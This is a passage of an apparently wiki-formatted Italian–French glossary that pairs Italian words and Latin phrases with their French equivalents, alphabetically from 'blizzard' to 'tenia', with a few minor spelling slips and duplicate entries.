blizzard * ''blockhaus'' : blockhaus * ''bloc-notes'' : bloc-notes * ''blue-jean'' : blue-jean * ''blues'' : blues * ''bluff'' : bluff * ''boa'' : boa * ''bob'' : bob * ''body'' : body * ''boiler'' : boiler * ''boldo'' : boldo * ''bolero'' : boléro * ''bolide'' : bolide * ''bonbon'' : bonbon * ''bonus malus'' : bonus malus * ''boogie-woogie'' : boogie-woogie * ''boom'' : boom * ''boomerang'' : boomerang * ''bop'' : bop * ''boreale'' : boréal, -e * ''borsalino'' : borsalino * ''boss'' : boss * ''bossa nova'' : bossa nova * ''bouclé'' : bouclé * ''boudoir'' : boudoir * ''bouillabaisse'' : bouillabaisse * ''bouquet'' : bouquet * ''boutade'' : boutade * ''boutique'' : boutique * ''bowling'' : bowling * ''bow-window'' : bow-window * ''box'' : box * ''boxe'' : boxe * ''boxeur'' : boxeur * ''boy'' : boy * ''braille'' : braille * ''brain-trust'' : brain-trust * ''brandy'' : brandy * ''bravo'' : bravo * ''break'' : break * ''breve'' : bref, brève, court, -e * ''bric à brac'' : bric à brac * ''bridge'' : bridge * ''brio'' : brio * ''brioche'' : brioche * ''bristol'' : bristol * ''broche'' : broche * ''brochure'' : brochure * ''brocoli'' : brocoli * ''bronchite'' : bronchite * ''bruire'' : bruire * ''brutale'' : brutal, -e * ''buccale'' : buccal, -e * ''budget'' : budget * ''buffet'' : buffet * ''bulldozer'' : bulldozer * ''bungalow'' : bungalow * ''bunker'' : bunker * ''bus'' : bus * ''business'' : business * ''butadiene'' : butadiène * ''buvette'' : buvette * ''by-pass'' : by-pass ===CD=== * ''cabriolet'' : cabriolet * ''cacao'' : cacao * ''cachet'' : cachet * ''cactus'' : cactus * ''cadì'' : cadì * ''caid'' : caid * ''calcite'' : calcite * ''caldera'' : caldéra * ''calembour'' : calembour * ''calende'' : calende * ''calice'' : calice * ''calla'' : calla * ''calmante'' : calmant, -e * ''calumet'' : calumet * ''camarilla'' : camarilla * ''camelia'' : camélia * ''cameraman'' : caméraman * ''camion'' : camion * ''campanile'' : campanile, clocher * ''camping'' : camping * ''campus'' : campus * ''canapè'' : canapé * ''canasta'' : canasta * ''cancan'' : cancan * ''candela'' : candéla * ''cannelloni'' : cannelloni * ''cannibale'' : cannibale * ''canon'' : canon * ''cantabile'' : cantabile * ''cantate'' : cantate * ''cantonale'' : cantonal, -e * ''canyon'' : canyon * ''capitale'' : capitale * ''capote'' : capote * ''capuccino'' : capuccino * ''carapace'' : carapace * ''carborendum'' : carborendum * ''cardamine'' : cardamine * ''cardinale'' : cardinal, -e * ''cargo'' : cargo * ''cariatide'' : cariatide * ''caricaturale'' : caricatural, -e * ''carie'' : carie * ''carillon'' : carillon * ''carnet'' : carnet * ''carotene'' : carotène * ''carotide'' : carotide * ''carpaccio'' : carpaccio * ''cartel'' : cartel * ''carter'' : carter * ''carvi'' : carvi * ''casinò'' : casino * ''cassate'' : cassate * ''cast'' : cast * ''casus belli'' : casus belli * ''catalpa'' : catalpa * ''catch'' : catch * ''catgut'' : catgut * ''causale'' : causal, -e; mobile, motif * ''celebrante'' : célébrant, -e, prêtre * ''celebre'' : célèbre * ''celesta'' : celesta * ''celeste'' : céleste * ''cellophane'' : cellophane * ''cellulite'' : cellulite * ''celluloide'' : celluloïde * ''cementite'' : cémentite * ''cent'' : cent * ''centesimale'' : centésimal, -e * ''centrale'' : central, -e * ''cereale'' : céréale * ''cerebrale'' : cérébral, -e * ''cerebrospinale'' : cérébrospinal, -e * ''cervicale'' : cervical, -e * ''cha cha cha'' : cha-cha-cha * ''chaise-longue'' : chaise-longue * ''chalet'' : chalet * ''champagne'' : champagne * ''chance'' : chance * ''chanteuse'' : chanteuse * ''chantilly'' : chantilly * ''chaperon'' : chaperon * ''charleston'' : charleston * ''charlotte'' : charlotte * ''charme'' : charme * ''charter'' : charter * ''chartreuse'' : chartreuse * ''châssis'' : châssis * ''chauffeur'' : chauffeur * ''check-up'' : check-up * ''chef'' : chef * ''chèque'' : chèque * ''chewing-gum'' : chewing-gum * ''chianti'' : chianti * ''chic'' : chic * ''chintz'' : chintz * ''chip'' : chip * ''choc'' : choc * ''chope'' : chope * ''chow chow'' : chow chow * ''ciao'' : ciao * ''cicatrice'' : cicatrice * ''cicerone'' : cicérone * ''cineclub'' : ciné-club * ''cinema'' : cinéma * ''cinemascope'' : cinémascope * ''cinerama'' : cinérama * ''cipollata'' : chipolata * ''ciré'' : ciré * ''cistite'' : cistite * ''city'' : city * ''civet'' : civet * ''civile'' : civil, -e * ''clan'' : clan * ''claque'' : claque * ''classe'' : classe * ''clearing'' : clearing * ''clemente'' : clément, -e * ''clericale'' : clérical, -e * ''cliché'' : cliché * ''cliente'' : client, -e * ''climax'' : climax * ''clinker'' : clinker * ''clip'' : clip * ''clipper'' : clipper * ''clivia'' : clivia * ''clone'' : clone * ''clou'' : clou * ''clown'' : clown * ''club'' : club * ''coagulante'' : coagulant, -e * ''cobra'' : cobra * ''coca'' : coca * ''cocker'' : cocker * ''cocktail'' : cocktail * ''cognac'' : cognac * ''cola'' : cola * ''colibrì'' : colibri * ''colite'' : colite * ''collaboratrice'' : collaboratrice * ''collage'' : collage * ''collant'' : collant * ''collante'' : collant, -e * ''college'' : collège * ''collegiale'' : collégial, -e * ''colloide'' : colloïde * ''colon'' : côlon * ''coloniale'' : colonial, -e * ''colorante'' : colorant, -e * ''colossale'' : colossal, -e * ''colza'' : colza * ''coma'' : coma * ''commando'' : commando * ''commensale'' : commensal, -e * ''commerciale'' : commercial, -e * ''communicante'' : communicant, -e * ''competente'' : compétent, -e * ''complice'' : complice * ''composite'' : composite * ''concerto'' : concerto * ''conciliante'' : conciliant, -e * ''conclave'' : conclave * ''concomitante'' : concomitant, -e * ''condor'' : condor * ''condottiere'' : condottière * ''confetti'' : confetti * ''confidente'' : confident, -e, confiant, -e * ''confluente'' : confluent, -e * ''conforme'' : conforme * ''consolante'' : consolant, -e * ''continentale'' : continental, -e * ''contralto'' : contralto * ''contumace'' : contumace * ''convergente'' : convergent, -e * ''conviviale'' : convivial, -e * ''coolie'' : coolie * ''copyright'' : copyright * ''cordiale'' : cordial, -e * ''cordite'' : cordite * ''corpus'' : corpus * ''corrida'' : corrida * ''corso'' : corso * ''corticale'' : cortical, -e * ''cortisone'' : cortisone * ''costale'' : costal, -e * ''costume'' : costume; coutume, usage * ''cotangente'' : cotangente * ''cottage'' : cottage * ''coulisse'' : coulisse * ''coupé'' : coupé * ''couplet'' : couplet * ''coupon'' : coupon * ''covalente'' : covalent, -e * ''cover-girl'' : cover-girl * ''cow-boy'' : cow-boy * ''coyote'' : coyote * ''cracker'' : cracker * ''cratere'' : cratère * ''crawl'' : crawl * ''credo'' : crédo * ''crème caramel'' : crème caramel * ''crêpe'' : crêpe * ''crescendo'' : crescendo * ''cricket'' : cricket * ''criterium'' : critérium * ''crochet'' : crochet * ''croquet'' : croquet * ''cross-country'' : cross-country * ''croupier'' : croupier * ''cruciale'' : crucial, -e * ''cruciforme'' : cruciforme * ''cruiser'' : cruiser * ''culminante'' : culminant, -e * ''cuneiforme'' : cunéiforme * ''curaçao'' : curaçao * ''curling'' : curling * ''curriculum vitae'' : curriculum vitae * ''curry'' : curry * ''cutter'' : cutter * ''dancing'' : dancing * ''dandy'' : dandy * ''datura '' : datura * ''de cujus'' : de cujus * ''de facto'' : de facto * ''de jure'' : de jure * ''de profondis'' : de profondis * ''de visu'' : de visu * ''de visu'' : de visu * ''débâcle '' : débâcle * ''debuttante'' : débutant, -e * ''decade'' : décade * ''decadente'' : décadent, -e * ''decathlon'' : décathlon * ''decauville'' : decauville * ''decennale'' : décennal, -e * ''decente'' : décent, -e * ''decibel'' : décibel * ''decimale'' : décimal, -e * ''décolleté'' : décolleté * ''decolorante'' : décolorant, -e * ''deficiente'' : déficient, -e, insuffisant; débile * ''deficit'' : déficit * ''défilé'' : défilé * ''deflagrante'' : déflagrant, -e * ''deformante'' : déformant, -e * ''degradante'' : dégradant, -e * ''delinquente'' : délinquent, -e * ''deliquescente'' : déliquescent, -e * ''delirium tremens'' : delirium tremens * ''delta'' : delta * ''deltoide'' : deltoide * ''demente'' : dément, -e * ''demi-sec'' : demi-sec * ''démodé'' : démodé * ''dendrite'' : dendrite * ''dentale'' : dental, -e * ''dépliant'' : dépliant * ''derby'' : derby * ''dermatite'' : dermatite * ''dernier cri'' : dernier cri * ''derrick'' : derrick * ''déshabillé'' : déshabillé * ''desiderata'' : désidérata * ''design'' : design * ''designer'' : designer * ''desolante'' : désolant, -e * ''dessert'' : dessert * ''dessous'' : dessous * ''detective'' : detective * ''detergente'' : détergent, -e * ''determinante'' : déterminant, -e * ''detonante'' : détonant, -e * ''deus ex machina'' : deus ex machina * ''deverbale'' : déverbal, -e * ''deviante'' : déviant,- e * ''diabete'' : diabète * ''diagonale'' : diagonale * ''dies irae'' : dies irae * ''diesel'' : diesel * ''differente'' : différent, -e * ''difficile'' : difficile * ''difforme'' : difforme * ''digitale'' : digitale * ''diktat'' : diktat * ''Dilettante'' : Dilettante * ''dilettante'' : dilettante, amateur * ''diligente'' : diligent,e, appliqué * ''diluviale'' : diluvial, -e * ''dinghy'' : dinghy * ''diorama'' : diorama * ''diorite'' : diorite * ''dire'' : dire * ''disc-jockey'' : disc-jockey * ''discordante'' : discordant, -e * ''discriminante'' : discriminant, -e * ''dissidente'' : dissident, -e * ''distante'' : distant, -e, éloigné * ''dito'' : dito * ''diva'' : diva * ''divergente'' : divergent, -e * ''dobermann'' : dobermann * ''docile'' : docile * ''dock'' : dock * ''doge'' : doge * ''dolce vita'' : dolce vita * ''dolmen'' : dolmen * ''dolomite'' : dolomite * ''dominante'' : dominant, -e * ''dominicale'' : dominical, -e * ''domino'' : domino * ''dormeuse'' : dormeuse * ''dorsale'' : dorsal, -e * ''dorsoventrale'' : dorsoventral, -e * ''dose'' : dose * ''dossier'' : dossier * ''drakkar'' : drakkar * ''drive-in'' : drive-in * ''drop'' : drop * ''drosera'' : droséra * ''ducale'' : ducal, -e * ''duce'' : duce * ''dumping'' : dumping * ''duo'' : duo * ''duodenite'' : duodénite * ''duplex'' : duplex * ''duvet'' : duvet ===EF=== * ''ecce homo'' : ecce homo * ''eccetera'' : et-cétéra * ''edelweiss'' : edelweiss * ''eden'' : éden * ''edile'' : édile * ''editoriale'' : éditorial, -e; article de fond * ''effervescente'' : effervescent, -e * ''efficace'' : efficace * ''efficiente'' : efficient, -e, efficace * ''effigie'' : effigie * ''effluente'' : effluent, -e * ''ego'' : égo * ''eldorado'' : eldorado * ''elegante'' : élégant, -e * ''élite'' : élite * ''elixir'' : élixir * ''eloquente'' : éloquent, -e * ''emigrante'' : émigrant, -e * ''eminente'' : éminent, -e * ''emmenthal'' : emmenthal * ''en plein'' : loc sm inv * ''enclave'' : enclave * ''endocardite'' : endocardite * ''engagé'' : engagé * ''engagement'' : engagement * ''enorme'' : énorme, disproportionné * ''enterite'' : entérite * ''enterocolite'' : enterocolite * ''entourage'' : entourage * ''entraîneuse'' : entraîneuse * ''entrante'' : entrant, -e * ''entrecôte'' : entrecôte * ''eocene'' : éocène * ''épagneul'' : épagneul * ''episcopale'' : épiscopal, -e * ''equanime'' : équanime * ''equatoriale'' : equatorial, -e * ''equestre'' : équestre * ''equidistante'' : équidistant, -e * ''équipe'' : équipe, (squadra) * ''equivalente'' : équivalent, -e * ''erg'' : erg * ''errante'' : errant, -e * ''errare humanum est'' : errare humanum est * ''escudo'' : escudo * ''eskimo'' : eskimo * ''espresso'' : espresso * ''est'' : est * ''establishment'' : establishment * ''eternit'' : eternit * ''eureka'' : euréka * ''evanescente'' : évanescent, -e * ''evidente'' : évident, -e * ''ex'' : ex * ''ex abrupto'' : ex abrupto * ''ex aequo'' : ex aequo * ''ex cathedra'' : ex cathedra * ''ex libris'' : ex libris * ''ex novo'' : ex novo * ''ex professo'' : ex professo * ''ex voto'' : ex voto * ''excelsior'' : excelsior * ''excursus'' : excursus * ''exeat'' : exeat * ''exit'' : exit * ''expertise'' : expertise * ''export'' : export * ''extra'' : extra * ''extra muros'' : extra muros * ''extraterritoriale'' : extraterritorial, -e * ''eye-liner'' : eye-liner * ''fac simile'' : fac-similé * ''facies'' : faciès * ''facile'' : facile * ''facsimile'' : fac-similé * ''factotum'' : factotum * ''fading'' : fading * ''fahrenheit'' : fahrenheit * ''faille'' : faille * ''fair play'' : fair-play * ''fan'' : fan * ''fandango'' : fandango * ''fané'' : fané * ''farad'' : farad * ''fard'' : fard * ''farniente'' : farniente * ''fast food'' : fast-food * ''fecale'' : fécal, -e * ''federale'' : fédéral, -e * ''feed-back'' : feed-back * ''feeling'' : feeling * ''fellah'' : fellah * ''femorale'' : fémoral, -e * ''fennec'' : fennec * ''feroce'' : féroce * ''ferrite'' : ferrite * ''ferry-boat'' : ferry-boat * ''fertile'' : fertile * ''festival'' : festival * ''fetale'' : fétal, -e * ''fez'' : fez * ''fiacre'' : fiacre * ''fiasco'' : fiasco * ''fiche'' : fiche * ''fichu'' : fichu * ''ficus elastica'' : ficus elastica * ''figaro'' : figaro * ''figurante'' : figurant, -e * ''filiale'' : filialle * ''filiforme'' : filiforme * ''film'' : film * ''finale'' : finale * ''finish'' : finish * ''fiscale'' : fiscal, -e * ''fissile'' : fissile * ''flagrante'' : flagrant, -e * ''flamenco'' : flamenco * ''flash'' : flash * ''flashback'' : flash-back * ''flipper'' : flipper * ''flirt'' : flirt * ''flou'' : flou * ''fluorescente'' : fluorescent, -e * ''fluorite'' : fluorite * ''fluviale'' : fluvial, -e * ''focale'' : focal, -e; focale (opt) * ''föhn'' : föhn * ''folk'' : folk * ''folklore'' : folklore * ''folk-song'' : folk-song * ''fondamentale'' : fondamental, -e * ''football'' : football * ''forcing'' : forcing * ''forfait'' : forfait * ''forte'' : fort, -e * ''forum'' : forum * ''fossile'' : fossile * ''foulard'' : foulard * ''fox-terrier'' : fox-terrier * ''fox-trot'' : fox-trot * ''foyer'' : foyer * ''frac'' : frac * ''fragile'' : fragile * ''frappé'' : frappé * ''freezer'' : freezer * ''freon'' : fréon * ''frequente'' : fréquent, -e * ''frigo'' : frigo * ''frontale'' : frontal, -e * ''frugale'' : frugal, -e * ''fugace'' : fugace, fugitif, éphémère * ''führer'' : führer * ''fumante'' : fumant, -e * ''fumé'' : fumé * ''fumoir'' : fumoir * ''funebre'' : funèbre * ''fusiforme'' : fusiforme * ''futile'' : futile ===GHIJK=== * ''gabardine'' : gabardine * ''gabbro'' : gabbro * ''gadget'' : gadget * ''gaffe'' : gaffe * ''gag'' : gag * ''gala'' : gala * ''galante'' : galant, -e * ''galoppante'' : galopant, -e * ''gamete'' : gamète * ''gang'' : gang * ''gangster'' : gangster * ''gap'' : gap * ''garage'' : garage * ''garante'' : garant, -e * ''garçonnière'' : garçonnière * ''garden-party'' : garden-party * ''gastrite'' : gastrite * ''gastroenterite'' : gastro-entérite * ''gastrointestinale'' : gastro-intestinal, -e * ''gaucho'' : gaucho * ''gay'' : gay * ''geisha'' : geisha * ''gel'' : gel * ''gene'' : gène * ''genepi'' : génépi * ''generale'' : général, -e; général * ''generatrice'' : génératrice * ''gengivale'' : gengival, -e * ''gengivite'' : gengivite * ''geniale'' : génial, -e * ''genitale'' : génital, -e * ''genitrice'' : génitrice * ''gentleman'' : gentleman * ''geode'' : géode * ''geoide'' : géoïde * ''gerbera'' : gerbera * ''germe'' : germe * ''germen'' : germen * ''geyser'' : geyser * ''ghetto'' : ghetto * ''gibus'' : gibus * ''gicleur'' : gicleur * ''gin'' : gin * ''ginkgo'' : ginkgo * ''glaciale'' : glacial, -e * ''globale'' : global, -e * ''globe-trotter'' : globe-trotter * ''gloria in excelsis deo'' : gloria in excelsis deo * ''glucide'' : glucide * ''glucoside'' : glucoside * ''gneiss'' : gneiss * ''gnocchi'' : gnocchi * ''golf'' : golf * ''gonade'' : gonade * ''gong'' : gong * ''gorgonzola'' : gorgonzola * ''gracile'' : gracile, frêle, faible * ''graffiti'' : graffiti * ''grammaticale'' : grammatical, -e * ''grande'' : grand, -e * ''grappa'' : grappa * ''gratin'' : gratin * ''gratis'' : gratis, gratuitement * ''grave'' : grave * ''gres'' : grès (céramique) * ''grill'' : grill * ''gringo'' : gringo * ''grizzly'' : grizzly * ''grog'' : grog * ''groggy'' : groggy * ''grosso modo'' : grosso modo * ''guano'' : guano * ''guêpière'' : guêpière * ''gulag'' : goulag * ''gulasch'' : goulasch * ''gutturale'' : guttural, -e * ''habeas corpus'' : habeas corpus * ''habitat'' : habitat * ''hall'' : hall * ''hallo'' : hallo * ''hamburger'' : hamburger * ''hamster'' : hamster * ''handicap'' : handicap * ''hangar'' : hangar * ''happening'' : happening * ''harakiri'' : hara-kiri * ''harem'' : harem * ''herpes'' : herpès * ''hertz'' : hertz * ''hevea'' : hévéa * ''hidalgo'' : hidalgo * ''hi-fi'' : hi-fi * ''hinterland'' : hinterland * ''hippy'' : hippy * ''hit-parade'' : hit-parade * ''hobby'' : hobby * ''hockey'' : hockey * ''holding'' : holding * ''homo sapiens'' : homo sapiens * ''honoris causa'' : honoris causa * ''hors-d'oeuvre'' : hors d'oeuvre * ''hotel'' : hôtel * ''hovercraft'' : hovercraft * ''hully-gully'' : hully-gully * ''humour'' : humour * ''humus'' : humus * ''husky'' : husky * ''ibidem'' : ibidem * ''ibis'' : ibis * ''iceberg'' : iceberg * ''ictus'' : ictus * ''ideale'' : idéal, -e * ''idem'' : idem * ''igloo'' : igloo * ''igloo'' : igloo * ''igname'' : igname * ''ignorante'' : ignorant, -e * ''ikebana'' : ikébana * ''illegale'' : illégal, -e * ''illustre'' : illustre * ''imberbe'' : imberbe * ''imbroglio'' : imbroglio * ''immigrante'' : immigrant, -e * ''imminente'' : imminent, -e * ''immobile'' : immobile; immeuble * ''immorale'' : immoral, -e * ''imperiale'' : impérial, e; impériale * ''impertinente'' : impertinent, -e * ''import'' : import * ''importante'' : important, -e * ''impresario'' : imprésario * ''impressionante'' : impressionant, -e * ''imprimatur'' : imprimatur * ''imprudente'' : imprudent, -e * ''impubere'' : impubère * ''in camera charitatis'' : in camera charitatis * ''in cauda venenum'' : in cauda venenum * ''in extremis'' : in extremis * ''in folio'' : in folio * ''in loco'' : in loco * ''in memoriam'' : in memoriam * ''in vino veritas'' : in vino veritas * ''in vitro'' : in vitro * ''in vivo'' : in vivo * ''inaugurale'' : inaugural, -e * ''incessante'' : incessant, -e * ''incipit'' : incipit * ''incognito'' : incognito * ''incolore'' : incolore * ''incompetente'' : incompétent, -e * ''indecente'' : indécent, -e * ''indice'' : indice, index, table des matières * ''indifferente'' : indifférent, -e * ''indocile'' : indocile * ''indolente'' : indolent, -e * ''indolore'' : indolore * ''inefficace'' : inefficace * ''inefficiente'' : inefficient, -e * ''inelegante'' : inélégant, -e * ''inerme'' : inerme, sans défense * ''inerte'' : inerte, inactif * ''infamante'' : infâmant, -e * ''infame'' : infâme * ''infante'' : infante; enfant * ''infantile'' : infantile * ''infernale'' : infernal, -e * ''infinitesimale'' : infinitésimal, -e * ''influente'' : influent, -e * ''informe'' : informe * ''innocente'' : innocent, -e * ''innovatrice'' : innovatrice * ''inodore'' : inodore * ''insalubre'' : insalubre * ''insigne'' : éminent, célèbre * ''insinuante'' : insinuant, -e * ''insolente'' : insolent, -e * ''integrale'' : intégral, -e; complet * ''integrante'' : intégrant, -e * ''intelligente'' : intelligent, -e * ''intemperante'' : intempérant, -e * ''intercommunicante'' : intercommunicant, -e * ''intercontinentale'' : intercontinental, -e * ''intercostale'' : intercostal, -e * ''interdire'' : interdire * ''interegionale'' : interrégional, -le * ''interessante'' : intéressant, -e * ''interim'' : intérim * ''intermodale'' : intermodal, -e * ''interprete'' : interprète * ''intertropicale'' : intertropical, -e * ''intestinale'' : intestinal, -e * ''intra muros'' : intra muros * ''intracerebrale'' : intracérébral, -e * ''intrigante'' : intrigant, -e * ''intumescente'' : intumescente * ''inutile'' : inutile * ''invitante'' : invitant, -e * ''ipso facto'' : ipso facto * ''ipso jure'' : ipso jure * ''isba'' : isba * ''islam'' : islam * ''isolante'' : isolant, -e * ''item'' : item * ''iter'' : iter * ''itinerante'' : itinérant, -e * ''jack'' : jack * ''jazz'' : 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''mais '' : maïs * ''majorette'' : majorette * ''malachite'' : malachite * ''malaga'' : malaga * ''malaria'' : malaria * ''management'' : management * ''manager'' : manager * ''manicure'' : manucure * ''mannequin'' : mannequin * ''manu militari'' : manu militari * ''mare nostrum'' : mare nostrum * ''marijuana'' : marijuana * ''marine'' : marine * ''maritale'' : marital, -e * ''marketing'' : marketing * ''marsupiale'' : marsupial, -e * ''mascara'' : mascara * ''mass-media'' : mass média * ''mastite'' : mastite * ''mastodonte'' : mastodonte * ''match'' : match * ''mate'' : maté * ''matelassé'' : matelassé * ''matrice'' : matrice * ''matrimoniale'' : matrimonial, -e; à deux places * ''mattinale'' : matinal, -e * ''mauve'' : mauve * ''maximum'' : maximum * ''maxwell'' : maxwell * ''maya'' : maya * ''mea culpa'' : mea culpa * ''mèche'' : mèche * ''media'' : média * ''medicale'' : médical, -e * ''medicinale'' : médicinal, -e * ''medievale'' : médiéval, -e * ''mediocre'' : médiocre * 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modal, -e * ''moderato'' : moderato * ''modus vivendi'' : modus vivendi * ''mole (chim)'' : mole * ''molle'' : mou, molle * ''molotov'' : molotov * ''monacale'' : monacal, -e * ''mondiale'' : mondial, -e * ''mongoloide'' : mongoloïde * ''monilia'' : monilia * ''monitor'' : monitor * ''monocolore'' : monocolore * ''monocorde'' : monocorde, monotone * ''monolingue'' : monolingue * ''monovalente'' : monovalent, -e * ''monsignore'' : monsignore * ''montante'' : montant, -e; montant * ''montgomery'' : montgomery * ''monumentale'' : monumental, -e * ''morale'' : morale; moral, -e * ''morse'' : morse * ''motel'' : motel * ''motocross'' : motocross * ''motrice'' : motrice * ''mufti'' : mufti * ''muleta'' : muléta * ''multicolore'' : multicolore * ''multiforme'' : multiforme * ''multigrade'' : multigrade * ''multilaterale'' : multilatéral, -e * ''multilingue'' : multilingue * ''multimedia'' : multimédia * ''multiplex'' : multiplex * ''municipale'' : municipal, -e * ''murale'' : mural, -e * ''musette'' : musette * ''musicale'' : musical, -e * ''music-hall'' : music-hall * ''mustang'' : mustang * ''mutatis mutandis'' : mutatis mutandis ===NOP=== * ''nadir'' : nadir * ''naiade'' : naïade * ''napalm'' : napalm * ''narratrice'' : narratrice, conteuse * ''natale'' : natal, -e * ''navale'' : naval, -e * ''navigante'' : navigant, -e * ''negligente'' : négligent, -e * ''neon'' : néon * ''neoprene'' : néoprène * ''nereide'' : néréide * ''neutrino'' : neutrino * ''newton'' : newton * ''nickel'' : nickel * ''night-club'' : night-club * ''nivale'' : nival, -e * ''nodale'' : nodal, -e * ''noli me tangere'' : noli me tangere * ''nomade'' : nomade * ''nominale'' : nominal, -e * ''non stop'' : non stop * ''nord'' : nord * ''nord-est'' : nord-est * ''normale'' : normal, -e * ''nota bene'' : nota bene * ''nova'' : nova * ''novembre'' : novembre * ''nurse'' : nurse * ''nylon'' : nylon * ''obsolescente'' : obsolescent, -e * ''ocarina'' : ocarina * ''occidentale'' : occidental, -e * ''occipitale'' : occipital, -e * ''occupante'' : occupant, -e * ''ode'' : ode * ''officinale'' : officinal, -e, pharmaceutique * ''offset'' : offset * ''ogivale'' : ogival, -e * ''ohm'' : ohm * ''okapi'' : okapi * ''oleum'' : oléum * ''oligocene'' : oligocène * ''omnium'' : omnium * ''one-step'' : one-step * ''opale'' : opale * ''opalescente'' : opalescent, -e * ''op-art'' : op-art * ''open'' : open * ''opera'' : opéra; travail, oeuvre * ''opossum'' : opossum * ''optimum'' : optimum * ''opus dei'' : opus dei * ''opus incertum'' : opus incertum * ''orale'' : oral, -e * ''orbitale'' : orbital, -e * ''orchestrale'' : orchestral, -e * ''oremus'' : oremus * ''organza'' : organza * ''orientale'' : oriental, -e * ''origine'' : origine * ''orobanche'' : orobanche * ''osso buco'' : osso buco * ''omnibus'' : omnibus * ''otite'' : otite * ''outsider'' : outsider * ''ovale'' : ovale * ''overdose'' : overdose * ''ovoide'' : ovoïde * ''pack'' : pack * ''palatale'' : palatal, -e * ''palmipede'' : palmipède * ''palpitante'' : palpitant, -e * ''pampa'' : pampa * ''pancake'' : pancake * ''pancreas'' : pancréas * ''panda'' : panda * ''panorama'' : panorama * ''panzer'' : panzer * ''papà'' : papa * ''parabellum'' : parabellum * ''paranormale'' : paranormal, -e * ''parente'' : parent, -e * ''paria'' : paria * ''parka'' : parka * ''parlante'' : parlant, -e * ''parotide'' : parotide * ''paso-doble'' : paso-doble * ''passante'' : passant, -e * ''pastorale'' : pastoral, -e * ''pater noster'' : pater noster * ''patio'' : patio * ''pecari'' : pécari * ''pedale'' : pédale * ''pedigree'' : pédigree * ''pegmatite'' : pegmatite * ''penale'' : pénal, -e * ''penalty'' : pénalty * ''penetrante'' : pénétrant, -e * ''penny'' : penny * ''pensante'' : pensant, -e * ''pentagonale'' : pentagonal, -e * ''pentrite'' : pentrite * ''peptide'' : peptide * ''perenne'' : pérenne * ''perforatrice'' : perforatrice * ''pergola'' : pergola * ''pericardite'' : péricardite * ''peridotite'' : péridotite * ''perinatale'' : périnatal, -e * ''permanente'' : permanent, -e; permanente * ''perone'' : péroné (fibula) * ''perspicace'' : perspicace * ''pertinente'' : pertinent, -e * ''pesante'' : pesant, -e, lourd, -e; fatigant, assomant * ''peste'' : peste * ''petunia'' : pétunia * ''phylum'' : phylum * ''piano'' : piano * ''pietà'' : piéta (statue) * ''pilaf'' : pilaf * ''pimpante'' : pimpante * ''ping-pong'' : ping-pong * ''pipì'' : pipi * ''piranha'' : piranha * ''pisciforme'' : pisciforme * ''pizza'' : pizza * ''pizzeria'' : pizzeria * ''placebo'' : placébo * ''placenta'' : placenta * ''placet'' : placet * ''plasma'' : plasma * ''playboy'' : playboy * ''plebe'' : plèbe * ''pleiade'' : pléïade * ''pleistocene'' : pléistocène * ''plenum'' : plenum * ''pleurite'' : pleurite * ''pliocene'' : pliocène * ''plum-cake'' : plum-cake * ''plurilaterale'' : plurilatéral, -e * ''plurinominale'' : plurinominal, -e * ''pluviale'' : pluvial, -e * ''pogrom'' : pogrom * ''pointer'' : pointer * ''poker'' : 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inter pares * ''principale'' : principal, -e; propriétaire, chef * ''pro forma'' : pro forma * ''pro memoria'' : pro memoria * ''progesterone'' : progestérone * ''pronominale'' : pronominal, -e * ''proteiforme'' : protéiforme * ''protestante'' : protestant, -e * ''protide'' : protide * ''proverbiale'' : proverbial, -e * ''provinciale'' : provincial, -e * ''provocante'' : provocant, -e * ''prudente'' : prudent, -e * ''pubere'' : pubère * ''pudding'' : pudding * ''puericultrice'' : puéricultrice * ''puerile'' : puérile * ''pugnace'' : pugnace * ''pullover'' : pull_over * ''pulsar'' : pulsar * ''puma'' : puma * ''punch'' : punch * ''punk'' : punk * ''pus'' : pus * ''pusillanime'' : pusillanime * ''putsch'' : putsch * ''puzzle'' : puzzle ===QRS=== * ''quadriennale'' : quadriennal, -e * ''quadrimestre'' : quadrimestre * ''quadrireme'' : quadrirème * ''quadrumane'' : quadrumane * ''quadrupede'' : quadrupède * ''quark'' : quark * ''quattrocento'' : quattrocento * ''querelle'' : querelle * ''qui pro quo'' : quiproquo * ''quia'' : quia * ''quid'' : quid * ''quinconce'' : quinconce * ''quinquennale'' : quinquennal, -e * ''quiz'' : quiz * ''quo vadis'' : quo vadis * ''quorum'' : quorum * ''racket'' : racket * ''radar'' : radar * ''radiale'' : radial, -e * ''radiante'' : radiant, -e; radiant * ''radicale'' : radical, -e * ''radio'' : radio * ''radium'' : radium * ''raglan'' : raglan * ''raid'' : raid * ''rajah'' : rajah * ''ramadàn'' : ramadan * ''rampant'' : rampant, -e; ? * ''ranch'' : ranch * ''ranger'' : ranger * ''rapace'' : rapace * ''ravioli'' : ravioli * ''razzia'' : razzia, rafle * ''rebus'' : rébus * ''recente'' : récent, -e * ''recital'' : récital * ''réclame'' : sf inv * ''record'' : record * ''recto'' : recto * ''redingote'' : redingote * ''referendum'' : référendum * ''reflex'' : réflex * ''refrain'' : refrain * ''refrigerante'' : réfrigérant, -e * ''regime'' : régime * ''regionale'' : régional, -e * ''regnante'' : régnant, -e * ''relax'' : relax * ''remake'' : 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stérile * ''steward'' : steward * ''stigmate'' : stigmate * ''stock'' : stock * ''stop'' : stop * ''strass'' : strass * ''strelitzia'' : strélitzia * ''stress'' : stress * ''stressante'' : stressant, -e * ''strip-tease'' : strip-tease * ''strudel'' : strudel * ''studio'' : studio * ''stuka'' : stuka * ''sublime'' : sublime * ''subnormale'' : subnormal, -e * ''suborbitale'' : suborbital, -e * ''subsidente'' : subsident, -e * ''subtropicale'' : subtropical, -e * ''succursale'' : succursale * ''sud'' : sud * ''sud-est'' : sud-est * ''sui generis'' : sui generis * ''suite'' : suite * ''suiveur'' : suiveur * ''sulky'' : sulky * ''super'' : super * ''superficie'' : superficie * ''supplice'' : supplice * ''supporter'' : supporter * ''surf'' : surf * ''surmenage'' : surmenage * ''surplace'' : surplace * ''surplus'' : surplus * ''suspense'' : suspense * ''sweater'' : sweater * ''swing'' : swing * ''symposium'' : symposium ===TU=== * ''tabloid'' : tabloïd * ''tagliatelle'' : tagliatelle * ''tailleur'' : tailleur * ''tamtam'' : tam-tam * ''tandem'' : tandem * ''tangente'' : tangente * ''tank'' : tank * ''tapioca'' : tapioca * ''tapis roulant'' : tapis roulant * ''tartan'' : tartan * ''taxi'' : taxi * ''te Deum'' : te Deum * ''technicolor'' : technicolor * ''tectite'' : tectite * ''teen-ager'' : teen-ager * ''teflon'' : téflon * ''telecinema'' : télécinéma * ''telefilm'' : téléfilm * ''televideo'' : televideo * ''telex'' : télex * ''tenace'' : tenace * ''tender'' : tender * ''tenia'' 